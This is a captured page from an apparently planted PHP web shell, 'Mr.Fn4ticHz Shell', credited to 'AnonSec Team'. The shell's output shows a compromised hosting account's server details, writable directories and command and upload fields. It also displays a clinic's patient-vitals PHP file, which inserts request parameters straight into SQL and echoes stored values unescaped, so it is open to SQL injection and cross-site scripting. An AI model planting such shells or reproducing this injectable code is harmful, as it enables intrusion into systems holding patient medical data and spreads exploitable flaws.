Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.141.2.157
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//preVitals_mod.php
<?php session_start();
include 'dbconnection.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
if(isset($_POST['pre_vital'])) 
{
    date_default_timezone_set("Asia/Calcutta");   //India time (GMT+5:30)
$create_date= date('d-m-Y H:i:s');
   PatientManager::vilalslog("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Wt]","$_POST[bmi]","$_POST[BP]","$_POST[BP2]","$_POST[Temp]","$_POST[RBS]","$_POST[SPo2]","$_POST[HR]","$_POST[Pulse]","$_POST[poa]","$_POST[entered_by]","$create_date");
   	PatientManager::setActivityLog("$_GET[patientid]","$_GET[prescriptionid]","Pre-Assessment Sheet<br>Pre Vitals","showpage_preVitals.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]","$_POST[entered_by]","$create_date");
}
?>
<?php

?>
  <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                       <th><strong>Date Time</strong></th>
             <th><strong>BP(mmHg)</strong></th>
          <th><strong>Temp (oC) </strong></th>
            <th><strong>Weight</strong></th>
          <th><strong>Spo2</strong></th>  
           <th><strong>Pulse</strong></th> 
           <th><strong>RBS</strong></th> 
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM vitals_final WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND poa='preVitals' ORDER BY id DESC";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>     <td>&nbsp;$rs[created_at]</td>
                      <td>&nbsp;$rs[BP]/$rs[BP2]</td>
              		 <td>&nbsp;$rs[Temp]</td>
              		 <td>&nbsp;$rs[Wt]</td>
              		 <td>&nbsp;$rs[Spo2]</td>
              		   <td>&nbsp;$rs[Pulse]</td>
              		   <td>&nbsp;$rs[RBS]</td>
              					
          </tr>                   
          
          ";
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
   <form name="pre_vital" method="post">
             
					      <table id="example2" class="table table-bordered table-hover"> 
					      
					      <input type='hidden' name='poa' value='preVitals'>
                  <thead>
                  <tr>
                 <td style="width:50%"><label><h4 align="center">Vitals</h2></label></td><td style="width:50%"><label><h4 align="center">Range</h2></label></td></tr>
<tr><td style="width:29%"><div><h5>Weight : </h5> </td></div><td  style="width:46%"><div><input name="Wt" placeholder="In KG" type="number" value="0"></div></td></tr>
<td><div><h5>SPo2 : </h5> </td></div><td><div><input name="SPo2" placeholder="Oxygen saturation" type="text" value="0"></div></td></tr>
<tr><td><div><h5>RBS : </h5> </td></div><td><div><input placeholder="mg/dl" name="RBS" type="text" value="0"></div></td></tr>
<tr><td><div><h5>Temperature: </h5> </td></div><td><div><input placeholder="ьз╕C" name="Temp" type="text" value="0"></div></td></tr>
<tr><td><div><h5>Pulse: </h5> </td></div><td><div><input placeholder="Pulse" name="Pulse" type="text" value="0"></div></td></tr>
<tr><td><div><h5>Blood Pressure: </h5> </td></div><td><div><input placeholder="mmHg" name="BP2" type="text" value="0"><input placeholder="mmHg" name="BP" type="text" value="0"></div></td></tr>
</div>
</tr>
              </tr>
              
              </thead>
                  
                   </tbody>
  <tfoot>
          </tfoot>
        </table>  

<input type="submit" name="pre_vital" value="Save">
</form>

Anon7 - 2022
AnonSec Team